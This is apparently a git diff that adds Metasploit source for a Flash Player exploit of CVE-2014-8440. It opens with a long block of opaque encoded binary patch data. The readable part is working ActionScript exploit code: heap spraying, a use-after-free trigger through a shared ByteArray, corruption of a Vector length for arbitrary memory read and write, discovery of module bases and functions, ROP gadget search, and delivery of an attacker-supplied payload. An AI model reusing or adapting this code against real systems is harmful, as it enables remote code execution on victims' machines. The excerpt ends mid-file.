zwi`@oWca+bdULh~!cHF&@{lwOgNAh0e^900f(u{aVgC5_M@K`zx#t8*`V39s;hm|MX-Bz2DGQ|m3 zLSbYC8A{jS4@Rd5F@J6p77s2R9ae%tPWRcN)QN9SBn{6Ct)0*-V!_m0F_7Svf1ik< zKF|;W*e+GNO5+$+9JRIwZOKa=&`w7xSU_B;vOiL-+UKh7Tlt~Lm+hW{=l334Kx5(+ zdTp3K$qMvA9lY;zwV#uM_v%3}D=R{W1T3e>vflq@FNTv4FeG9xAS^EfApwhW7aQtu z11)T^-iO2kpuNqdS>?urRqypo ztALq3w}i)>ZuWT}rSjH~COwlgehAba3#8rt()L_ERG^j!A<>k9eH|+UtK*x4K?R<~ z#0?Kk$@xgb*_sH#^bEa&f2PbA7M{z}7W_58o-^~@MrY7O-Nm|KEU#PY{Jkt5mXYZi z@WE+RQn%PbTBjWtZG%qm0zKg#s z-Y1O#+J3J-mO8kK3O@^4|wQ+25+SUJIn$uP`4`R+QT6 zogFWCHV|}=)O7-(mJEGNzU9=-izF0*rf8F^x}%5@QZ)y8F#AL#Mc0?nZQ;K}=Na`mOLU2Wu3pOxLB>bbA1r;YwwID}4^}W+<>N=;?2pY6t44Rsg;1 zH!i+KVm<@Xe>d#)PH1I#h>fvjN0~Ev6_*LSgevBGXK8mik-j`?>%}tK94yYotL%39 zS1252O6yOp$t6|Ybo{6iPbZ1rB~2X6b}rHjg%!&Wlo?qcvNhCs5$=!9PXIi5Z7!q! zO3|==3P@kUP=*?ZX%E?-76$8KH+J=MUGmY7Ljv5Fe~UC&27`n#NXXKrA+P_iJrrV{ z3R)KF^{i<9v<)86Uru|Wt^XaLRL|(Z)rk6xAsAf|pP<`cr@r~faSc3{*-OW5M}A_j zGys1+QpI~zMqoq!(vCp#0Nr7eyut2ibqlq^#a~E8w44mmlx|R8;mq#O{&E>#zL*v_ z>F8e+f2veHx}Gh~s~2Zwy34o)!C?u}e~}KN1nS!~_UThz5{RhzCkCefXo5iT2|G;# z46Zjus{Xd^R*8oIY3IZCV!8PCiEP{ur=K}A^GIuH9)b&gF(55G1D5z--z@cVF4q6l zRmRk35z?5(E`_ecJao7NQFJ_wt^@W^-?+j7sHtX+Lpn*ni7O8 z>5R6sgXpEUSEtBa3j7OR*C432tE@XQm>zlY{RvFe`*e77GDjaxg*_Xt;agWeo$%Wh``8`o-&3= zaSk~`&HReT2kvdNU&ARp0k)`aL=bvdD9|p~m1y_LALZ~zs6Fu!l9%akYT>;CwfK*X zOt>8$?+hd2MeExbaTJ|lcUsvU&YG+x|H){&IFd>2B3kayXw0Yv@*{5g?SlKae|{&W z-KcV5)xw2(Q{!N{%oSRQx;NZn_&px3xGfaXgLkXMj5`fT*UnNFxN>pB$SmK&?<#Md zOcC+n!tXer!p4}fs-{0`}@!*OFx+`b1|KPn_3f zV63%40zrpMUg{I}#K7=Ou%fmV@721G6GdK%QgGEyfFyx3)&(;D3ulP$Zyv+e+Jdm# z{dr%QP~XU^2(~NV+&27XTWq#w;sbN@e9(dd#!y&HwhC4CHrK3qpKVwOe+?5cdy447 z@Iu}iGZWmJpwhMuyHpEw7Pw;i@7&pJEdEGh85Z%qXHn}+C0y3Or#YePI?LC?PED)@ z(hZP@6w1=f@o*w$}9qbWqiVcjLg$# zc;afai1o;WN%HfM9x~Aj%c_opYyYXX@#w+X0(aI78njRFd}g{t;I{tWSz}Ikw>^te zqy?q11~g1?Bdd%^N$HL=Bacf!p4-d$LOt25ZSZ0+k5M4i8f261rEL3=-x6f&J zF_fc3ks$50p~e0^u*;f{JmC`iergBV*FS;MU7Jn#wD3A%$6CFB+HJYijtn8^585B+ zIv1alD>9}>^Qwg$kQwU|FeR-T#9hcT2CXXN2%c?pkPfJI`cisssdPbz83kRQl`Ku}Q9T z-~tt`7sWOzXOdjWyXpb8;zcabD_M4rytS}MG3ur5>d8&2`YVEC{{^+O7V|JX+0GIF z%5*_8R-tIBf4Azrob8r{WP&Aw9|vhGRGab+LKYk8tik@3F2L+IM&;+gPnI!DLNHd> zCBZ!j(t;nU?n3uFa|jxrct?;QF$hhar0TrTl9QO+8%Xoyi?*eIj*}pCbDr{n8HBa% zU73@5&}=pP#QQXlEr=R^{DUqGu^V~}W{>=_TpK0vf7&J&KN?&wnQt-s$mDL#zGF^& zb(&+v3lmO>I*bRP)-IX+N;A2r2F{7I%C(O<6I zOgf|_lUHPHT<`R8$-wBo}g@nrUha|Jjp_S*Dt75v5L^_jd*`| zmz}7CqDgbx(XdW8-zw-5@F{22^h(e=hNjZutc_>zBUuDLg7mJ;8%YF z4MRXjA6ZUP$4`&p!s&PFOO2qY8|h2?MwsI_e{f?=+pfztW(WXe?9MZwOTPSeTndRR zZ8E#B@bxEP3Y`nh7~5R3*~OGciL9Q=2nyFqGGVs|Wf5H$VbLj~3AE=D+6c|s0H0

Bw?G z@`^Yy(LYyeYD53hXuvBUcT*tZBG*Hf2qqmyNsWD`TuGZY#0=aydL%f#JF;lxH$FZP zh6{@@gM3KTPHl_Os4IxIa9M)2)MvxXfBa=@Y297;BihcIJSzIHIik^Dze-=fJrk@) z>eTBs9z{WJEuXGQY$kkN&S^~}!{}|Q1Rm@};QxREW18^DTfRK5-gonAVQdM7gK3WB z&3=U;JP5jrMHf0IQA4emz9}C|M0T-Qj$N(_0y|@jE#X1_>9Z+herw{IW*#i5e{yVz z7CH0I@9znX!;=X8?to|WJ1W+SSY2bpi>sH#r6CTufdi)EJ4|A@5$*9cIby~l!>1!` z5b(ah&|ECtK=hY(^?GC*F!D)EOh~obvA=xBDH!4-zA7{+6$Pa47SBV?B@LL>u z!p*s;T7KjR6jplYC})X%U8<8};p1FTx9OQ2r`0KqgoSaIgA0Qv;G3_+m!1-V%3Tzz z+e87rY;ZgMYFJiQw2d9c5)&Gb$Idvj$tfn0ve13c57p_^+WB#NsAKykaFxY8myY#0(DwiKIW%s%>Ye-GY$qk=j;4ExSA zvN4CJ^NKct8Bc}9Az?PlAbvnQa@v~RmL_>*PqwU8?O;nCJY153#U@6UkWL2BWF|8P znSCsDw(1Pj7cpV4ElQn!!o`=^?ge7V#g~~Z8=%%!To^(UK5}5@fc6Y>h9H)<9S+}H z5Mq@ya7%!K?$hMjf5WQ()(nolLH@Dp!H`mfY+r&hO^=|oA;1zYb3*g`9=1va^{W5O zEb`f;#qu!%v{sLupxa1$g^{4sn6{#jUwYutc*TF*cQb7K{o6YlI$)(PG3wlDoiB5v zPJA+_6n$$eDqOatQ_g}hTJ8FWb%v?h%Q~m_aLqkZD4$19e{+9F@T)K}Q1#m`U8|X)t7a!HhIFo+{IKb>)c61u@3; z#4)8^2B+UW?3B8zSN?@teR|;v#WR!yhE}6^IJYb&^$G&vr??E*UGfz^YubRwN_7OE z`xhaTmS3?-f1-@uwH_9Daye2wi;ZF$<)kZS>Z)2=M$RM4#*nkV1I=q|Ie>qp82$es z_#F?wg^%p5AMAVnC}xQ{q%V;8$9y>ALuprq$3v|u+Et!&!fYQF_bT3(SP5vh9FQ{V zTd4cN={@|QRm7O6)QN2LsfR?>OG;8shXvnDD@Cy_f42%Z$yW0Yy$TLe4VzYxTmkzB z$G_HEtI0nxo7XI?n-U3j_8J2>+1hVCOHzNeZ}~8bc$|shlXdr#hL2k1fjTF8bNy-^ zLm%hVoH@u>{{%#XS%ef~a`Y}G{{I!&?1BJ%8jXYD#H% zQ_9DDe`jWc-)b#(%?zbc@lGhS;Khoi9Lk>GoaH*aVT2VBW#01R)Nn2f!9&_*Nre6? zUgU@uEieEwdcRR}^XOxm4ERrd4mhxd*Q?$vrAXq2So_Ds1ifwksU#Gnv&QiPxI^&J zyL<($Kx(sG3Dea6b@N5^u@?PR6ya&4Hvv9Je?>Ewz5>QYcFrp*YqyE7L)#b_4N3qZ zsavOt`Na39hy&7x^@q{6+izn+PO zcnhmS0NuAN6@e)`A(Gc~8D|(}2cEY!fAFucD)mhvXh4cNifVb^%M~4sC$QtVBj&$w zrGl>TuD(o#Jkt6F<|<*w;r7GenCbhWmb3-c9%~sGuHMgr-9c6-q%B(4bC%WOEju<& zN#pi98G-=49apG4%i1`(XAcS@!F2dF^qnNOY;_0G*2S-)(isSmi*Ml`9N z6d;moX$a9Yt|dTXE3WWsCU*VvQ478Qkuc6K2kC%ng))V`Rq)&%bC{LK@2P$xUU<`i z4}M@Wzq-bINz4+~E8dFv_&L4d$*;B{5cnKLVz7%)SOD!cXi1g}cG4a%atA2Qx@D|< zyZhaRJ%!T%)Kr}*!?u?;16i&Ge_!xCNs^l)T#~IicFxcPqZ*}yUUvG3Ivbw$MdB&R z7TL(3V#IGC)v}q8df0XQci+WxEGzG$N>qJ@J;TfbCn%8pZ99qpXT=c!T+IVJmUw!Y zR2KS9B>UwSgv2+OhiGd#vNr^Cp4g1(5iZ+7ppeB%30yXuy=9-_eS~-S=fi6LfA_xe)p()2EKGJI ze*Q*f3!K`S&7eaZm)wH=_}Fb~Do88x{#OsJ?3}4nSr5+;_do!mxEl&SC5n{llNdL7 zMSUenY1%hG-;#1P%+Zxa(0V#TGx>SEnhW(d+nVC`>kSG&>fLS$YI6#TvwSIDwj^3A5FU6oapKrSyL4YrL_uR0`--+8 z>gD+9Ud1ar3G8Fj`j)grw6NA80k2WVEUm;G(O*Pv)mvW7e@sJ^01g2xS8~#UnT@<7 zaFEiB0&dvCZfmESO_)eN@FF@qyr?;jL`|=$^5rwS>)>S2wPy2w)DlGm{PCU~7bk^W zn(7~SEMTk|mPMnSlT3WI^DE|n1fnP!9lDY;Sj&|v;}Wgw)i|CO&1V{`|dJWf;du2G%&!oAyUG6C{^ zJr67$Ln1;=oWR0E9P>6Lqg5~&MtL}JJ_JO!)nFk$uviW@K4xx z7p-=3Gc&dQrDU|Jz7rQH2xfeXXGCEc%G^Ba!5t#%W>KKR7ADi^q*dES+Gs+um>L36 z2y^$Y6G@N3hx>?nk&ca7EV$c$vs({@v!RDGnPyXON+gV(1KUmwV%gpRBJ1bh@GJ2AFw9sb zqM^2$!Z2|8m88Xs;++-TH*t0%*AcI}U)`R=wG*V~>Sfi<(5PpOq^-`|+7szKgxXrC z`CKQ9y~1sk(RTEDbZub%Zd-z6>{R92f4l&gFCW4fTHaqyVbCH$^U3~!han#5KHRKh zK-pB&lZzA0yuyt$gSgzRe)=+5Vn6mIaY3F!CVUE}n~GoD!JOLo<@EN!4|Xx|*| zpwU21W=ICU(h|_mOCB z%^7%8Jc=--KuY^kcpu<{)JB1me_#SFKqhD@G;2H*6!q0|Zx!FFANnJ&(C#O^X`6@ptYLNxcOnl-C)nSs4P6+c8Y}Av zKK?sl@O)*A5BPjEeixy=`p&sK&-Z|I`hRETxQF~)WANbNHAUrQp1uKefY(;?)jEYe$p%VSw!xB*>dwNw;OG!&R{741X?wv(9&)6u+e@HH-WQ}Bu$p0mk zPbRAK?Q7(`3M)3$`dRQT@H6H@fN^!cbKjF=_N@tAIKGsq&q=c5;s`p7(ey+4-ofgd zA{n&dgAuJ3b}i&I2q=?a@)O*Rh=qnLZWA32Q%ho)2b_n~eGAYrG7ScV9ix5~zq)nGNm{|K@5qN37fItN7Sw&5dZ8 zypTt+wnlUP7;{TcP@6R1TZLhb8*)3j%l5LU;7FzX#69`WCV@;IK;9&STI;$(i>J4* zSq*vNW^JzLwF<*z#@~6P7?S?VU*a9)LQRo`K(c}i1X1|fe}%-M?a|U~7d)v{*ZCso zMOW;?J#_KHMO!G@=vhzE-$@~K>JTXnIK;$`pZ99U99~0R0P1=-sZA!oohvNhSoN1Z zcV+h_h&W9?O-M2&T8e;PNK279nUl6A)`UbXqFkVPZ=PE6GosnkRWarDo)}E{_mLt1 zzkBpJpF=S@f8b+D)}}KA0_QzEqqi@*P5pzw(LHse*XP9B^ah^5>RW6{5>SGPD$xl` zqvws?a1TlUYYTu$WPTUq4yg6l?&5{3H2w{AI>4fG zW#SpIu$E|5Iv;N-=FIKpbk<5kJ^X4;2zoqwJShxk2&E6PSN|E2Yot@CAgfo;)@ATED{ip7iP^me-4ZxzU1Vnp|BwMR>Lb)TPVJH=(t>6 zPz5xIV<;u7qH8kSbBnBD{G4!X<-FkOTaPC)!{~@16wQxT2^Es9^)Z$13@5O7oHf#T z`)yB2-qlAW^v0l7MYB5nH)&RI1|lTjkl=x&ZD4T$hvKY;#;J6SdtF=mxg;NLMRZVMfB>!q${C$e~yH`psV)VHricH{GvO6{u(&Z#~Kmo zE|-t#QGDnek;Oc!YMeEB9wECEhvG&$f8*V^Y7!K^KRD>8B=k6Oi{OQ!8P^0VPKzp? zcL}?|QAFe5@-zJ|FIrG>9)4Dcp@vnHbAW|%P<$1LE|g%v0mfSIB&P}84dBV34jJV} z@iiWodnkdP2;kjFw=TI${FOfgvQ8IY)LB&y?1KOowK0CaQW~jB8hkyh+7tHXe~Vy! z(l1ENE;MYAIzS~_Zva2NNKc4fL|t-seeVoRhWSCgIaI)Mo(IQYDDP}2+)&k+$Kbqx z?~H-N&ua$DaD_+cmZq4TH~yd`KzZ~>SwS>Jikw&-&6zn5R4}6rm8oQh>NqHv6eoE` zt$m)$QA7;kdqr+ji0WBYK`e{af0@W0rankx8MGhPWYT`~zZ>;oEo08zft@}H^FpMv z)%*M!&Y0iEtpcz>SJ~iu=dqHnKw&L>Z75$~Q19t)IC#`!OY2)KYTzVAjB>TyiT*s% zV7fIR*I^x`C0dh$#x3E47iu^OMC1beT(pRo+EAxb1CbK=r(zSV;B}ZPe*^x2E`i8J zUOFy6h-cjp~J{K@9`gZnPfk@rOX!{8HC~aAfPXty;ny z%MM;RS)l)@{w}fgdkDS-Ne&$fc(DaH3XzhpQHe0G)qhsaB0L(M3qg#TM(n+$hNOmA z%jEP_;DufkFP{`-SHwZ~e-DTr44yvBq3yC@0IQq+qvTJdPXFKVN7C?PcmKTb;`czY{|Nibqm0O-1q)T9238O)j221SSU*9ve-Vm?W+=I8B7!X2 z=p2bnzgV$dgSAYK%fld+Z9h7ufBx`yGeFlXA^j#XVmo!7#rk~P#7x-s*!e;8Q3C9a|TvgFsIK~L<4~w*L0B<`fWsfITwzS@R`^gdEvD=rJXHjcVG+fAhO$HyR!V*I zCTv{v2+xz{1*1IDZkSN{f~3kfyVVDBMkN>9_Y|BtbqYb2f?4MiACWstN&jfqNSFD6xSiT5Le2@|UuR1VazLR(6X$!V3%zdbmc+LbC#M}|33{Jo=Y;cH{Pk62WKOs zG}SJ_$i~S}7)c*bVuL!v0VfF9_wFNrkR9!K?>vxi@+&*L>32iJYg+qWW&}Gr~R`^#W zX;h^wmjiYKvTZiy{z7fc$Wh4kveKQVzfqngLVl`c?V&?szT*En@0Nv zQPvYUdjG9UE9VFVzRK0}jD+L?&p4W~_*u2gHB%vsSHDDYcnhh{Z)}oF79ekmo3Ro0 zDXf?3Oz}q_(uvapjG8i8sIueJUKUg{bv=%3&VOoa21K9*+&-N)ixqMMhcSn1)jY1} z?Mbu%ZST>9hpdyBJ@bcu84OO4&k%@%)}Nk2wdx%b>r+6Gymg3;7aw?^ADEHfEiWVh+37tx<|Es{ zA4PdnOpG@LRfBsTH)HnGupe_hW^!F>scli@SqJ7=$&;j#bXeg(3ys26Ipo<9Scb3t zaY&t zAvK4~TM|M%=jX!U`lW|&P}n*gW#mp@DH)yof{dbecUbH-I;j?|oN+-5J*&V@S$_s~ zQpfkpOq+JYvF3eP4ZwGKgKDC_yxR`#7f5*0JY(0Ef9i&|6#2}Zlz&4dxAKtT%1QUi zUxQ2Q_%Bf>TW||M9yMC?A-FH0C-Rf)dQkq!L+sljQp9TeSFZXNkqbE2vlgs-su?^px>J1wa-?T2V)j)0Q}d-@ zejiQ-R$?lodNbk8K3xXw;NF}}ziA)v*$n{5b$b?#nci+sWedYJCyvR`HZ<8}#jggM z!U%snwUy&5)!nyJ83!cAY$TB$nYw#;{l`tWOgSYsIGRfF&kxs4SSJxAdVi2XI*waJ z#S>(6D#L2b(@I_H@{UWU@DtT4Ly2RTJYXP2r|7nbQDGfopTLaQ11Z~D`MYOcdvu8$ zrl#9-4@xo4t;M zO|BSQmSAQXe%=b*o6|%Qe+2Q+sZ26Ziv1IS|WHO*@GN ziu70XeNHV7?4U08dK>rfV^Z?Mt=OoqmloktsqCdEJ-WFo&W1w)qYR1(r5otGUAXVy`cva(=j{9@mMrKz8Nwy-595E<~x2{%oxA@Gr9Q#p6Td z_>Kpkywg;CE=~|gym`oVxhDwy85#>|cio}^j#T7n*et>65l<*wQ2v!>l?@t=@8a9! z2p}$fJ>Wk@)4xPj%71clq~%3qtj)l|Zb6fsA5c)H+%}0}jSHnr&t>c2-caSCZ6YwG z6XzF<@M3{1|G$jEcD=qmwe-GV75f0SePgVKCu!vk*AdJ{=^jvaCI0=#wDu2F6t#R_ zJp9$t!0Pf-Nf&rhB*o7;W+Xpd-kSuC{K7X+~Lx*sY9 zu~RF*K}Hd2dnIk{Y2~Nn^i=lGHrKa8-bMGV>nT~$JkCtdUPZC7a|3<1iG zzhDv!lz`th>WRKr97J*GWK8v~0#|Xu&xgE^I*36BYgYc|B*rq9GLLDS#*$o8>3?cZ zbz0PN`t!g?F@Ko;GRa1Z$UHAy6wA}tY8w-{vf+Y)b4xQ)8d)_l7EW3?Jb@^On^S*8 zri~>u%As|cU6N`0&G)LlF+fDoo5{#W982O{9pVdroxqJ!dX46pAP3m-OpIu<`Fwoc zMPYlBw`NAJxjOQ45tHBtJDP?fEgR1^ojn7>a%6ZO;D4NsI5Pq#u4/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Main.as + +// It uses original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.utils.* + import flash.display.* + import flash.system.* + import mx.utils.Base64Decoder + + public final class Exploit extends Sprite { + private var shared_ba:ByteArray = null + + private var hole_ba:ByteArray = null; + private var confuse_length_ba:ByteArray = null; + private var fake_ba:ByteArray = null; + private var worker:Worker = null; + + private var byte_array_vector:Vector. = null; + private var byte_array_vector_length:int; + + private var object_vector:Vector. = null; + private var object_vector_length:uint; + + private var ba:ByteArray + private var uv:Vector. + private var corrupted_uv_index:uint = 0 + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + + private var b64:Base64Decoder = new Base64Decoder(); + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() { + this.object_vector_length = 5770 * 2 + this.byte_array_vector_length = 510 * 2 + + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + this.initialize_worker_and_ba() + if (!this.trigger()) + { + return + } + + var index:uint = search_uint_vector(114, 0x40000000) + if (index == 0xffffffff) { + return + } + + this.uv = this.object_vector[this.corrupted_uv_index] + + for (var i:uint = 0; i < object_vector.length; i++) { + if (i != corrupted_uv_index) + object_vector[i] = null + } + Logger.alert('corrupted :) ' + this.uv.length.toString(16)) + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + final private function initialize_worker_and_ba():Boolean{ + this.ba = new ByteArray() + this.ba.endian = "littleEndian" + this.ba.length = 1024 + this.ba.writeUnsignedInt(0xdeedbeef) + this.ba.position = 0 + + this.shared_ba = new ByteArray() + this.shared_ba.shareable = true + this.shared_ba.endian = Endian.LITTLE_ENDIAN + this.shared_ba.writeUnsignedInt(252536) + this.shared_ba.writeUnsignedInt(16777216) + + this.confuse_length_ba = new ByteArray() + this.confuse_length_ba.length = 0x2000 + this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN + this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA) + + this.fake_ba = new ByteArray(); + this.fake_ba.endian = Endian.LITTLE_ENDIAN; + + this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes); + return true; + } + + final private function trigger():Boolean{ + // Memory massaging + // 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba) + this.fill_byte_array_vector(); + // 2. Clear the marked ByteArray + this.hole_ba.clear(); + + // The shared_ba should be left in "shared" state + this.worker.setSharedProperty("fnfre", this.shared_ba) + this.worker.setSharedProperty("vfhrth", this.confuse_length_ba) + this.worker.setSharedProperty("vfhrth", this.shared_ba) + + // fake_ba *data* is going to fill the space freed from the hole + this.fake_ba.length = 0x2000; + this.fill_byte_array(this.fake_ba, 0xBBBBBBBB); + + // Trigger the vulnerability, if the memory layout is good enough + // the (freed) hole_ba metadata will end being the shared_ba metadata... + this.shared_ba.uncompress() + + // So its size should be 0x2000 + if (this.shared_ba.length != 0x2000) + { + return false + } + + // Free the fake_ba and make holes on the ByteArray's + // allocated on massaging. + this.free_fake_and_make_holes() + + // Fill the holes and the fake_ba data space with + // vectors + this.fill_with_vectors() + + // Hopefully the shared_ba metadata, product of the vulnerability + // at this moment point to the vectors in memory =) it means + // game over. + var pwn_test:uint; + this.shared_ba.position = 0; + pwn_test = this.shared_ba.readUnsignedInt(); + + if (pwn_test == 0xBBBBBBBB) + { + return false + } + + return true; + } + + final private function fill_byte_array(local_ba:ByteArray, value:int):void{ + var i:int; + local_ba.position = 0; + i = 0; + while (i < (local_ba.length / 4)) + { + local_ba.writeInt(value); + i++; + }; + local_ba.position = 0; + } + + final private function fill_byte_array_vector():void{ + var i:int; + var local_ba:ByteArray; + this.byte_array_vector = new Vector.(this.byte_array_vector_length) + + i = 0; + + while (i < this.byte_array_vector_length) + { + local_ba = new ByteArray(); + this.byte_array_vector[i] = local_ba; + local_ba.endian = Endian.LITTLE_ENDIAN; + i++; + } + + var hole_index:int = this.byte_array_vector_length * 4 / 5; + if (hole_index % 2 == 0) + { + hole_index++; + } + + for(i = 0; i < this.byte_array_vector_length; i++) + { + local_ba = this.byte_array_vector[i] as ByteArray + local_ba.length = 0x2000 + this.fill_byte_array(local_ba, 0xCCCCCCCC) + local_ba.writeInt(0xbabefac0) + local_ba.writeInt(0xbabefac1) + local_ba.writeInt(i) + local_ba.writeInt(0xbabefac3) + if (i == hole_index) + { + this.hole_ba = local_ba; + } + } + + return; + } + + final private function free_fake_and_make_holes():void { + var i:int + var clear_ba:ByteArray + var hole_index:int = this.byte_array_vector_length * 4 / 5 + + if (hole_index % 2 == 0) + { + hole_index++; + } + + for (i = 0; i < this.byte_array_vector_length; i++) + { + if (i == hole_index) { + this.fake_ba.clear(); + } else { + if (i % 2 == 1) + { + clear_ba = this.byte_array_vector[i] as ByteArray + this.fill_byte_array(clear_ba, 0xDDDDDDDD) + clear_ba.clear() + } + } + } + return + } + + final private function fill_with_vectors():void { + var i:uint; + var uint_vector:Vector.; + var objects:Vector.; + this.object_vector = new Vector.(this.object_vector_length); + + i = 0 + while (i < this.object_vector_length) + { + this.object_vector[i] = new Vector.() + i++ + } + + i = 0 + while (i < this.object_vector_length) + { + uint_vector = this.object_vector[i] as Vector. + uint_vector.length = 114 + uint_vector[0] = 0xfeedbabe + uint_vector[1] = i + uint_vector[2] = 0xbabeface + i++ + } + } + + // Use the corrupted shared_ba to search and corrupt the uint vector + // Returns the offset to the *length* of the corrupted vector + private function search_uint_vector(old_length:uint, new_length:uint):uint { + this.shared_ba.position = 0 + var i:uint = 0 + var length:uint = 0 + var atom:uint = 0 + var mark_one:uint = 0 + var index:uint = 0 + var mark_two:uint = 0 + while (i < 0x2000) { + length = shared_ba.readUnsignedInt() + if (length == old_length) { + atom = shared_ba.readUnsignedInt() + mark_one = shared_ba.readUnsignedInt() + index = shared_ba.readUnsignedInt() + mark_two = shared_ba.readUnsignedInt() + if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) { + shared_ba.position = i + shared_ba.writeUnsignedInt(new_length) + this.corrupted_uv_index = index + return i; + } + i = i + 16 + } + i = i + 4 + } + return 0xffffffff + } + + // Use the corrupted shared_ba to disclose its own address + private function search_ba_address():uint { + var address:uint = 0 + this.shared_ba.position = 0x14 + address = shared_ba.readUnsignedInt() + if (address == 0) { + address = 0xffffffff + this.shared_ba.position = 8 + var next:uint = shared_ba.readUnsignedInt() + var prior:uint = shared_ba.readUnsignedInt() + if (next - prior == 0x8000) { + address = prior + 0x4000 + } + } else { + address = address - 0x30 + } + + return address + } + + // Use the corrupted uint vector to search an vector with + // interesting objects for info leaking + private function search_object_vector():uint { + var i:uint = 0; + while (i < 0x4000){ + if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) { + return i + 1; + } + i++ + } + return 0xffffffff + } + + // Methods to use the corrupted uint vector + + private function vector_write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > this.uv[0]) { + pos = ((addr - this.uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 + } + + this.uv[pos] = value + } + + private function vector_read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > this.uv[0]) { + pos = ((addr - this.uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 + } + + return this.uv[pos] + } + + // Methods to use the corrupted byte array for arbitrary reading/writing + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + // Methods to search the memory with the corrupted byte array + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) + var i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + ba.position = addr + entry + var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); + if (dll_name == name.toUpperCase()) { + break; + } + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + ba.position = addr + entry + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/ExploitByteArray.as b/external/source/exploits/CVE-2014-8440/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/ExploitVector.as b/external/source/exploits/CVE-2014-8440/ExploitVector.as new file mode 100755 index 0000000000..79a73238bf --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 114 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 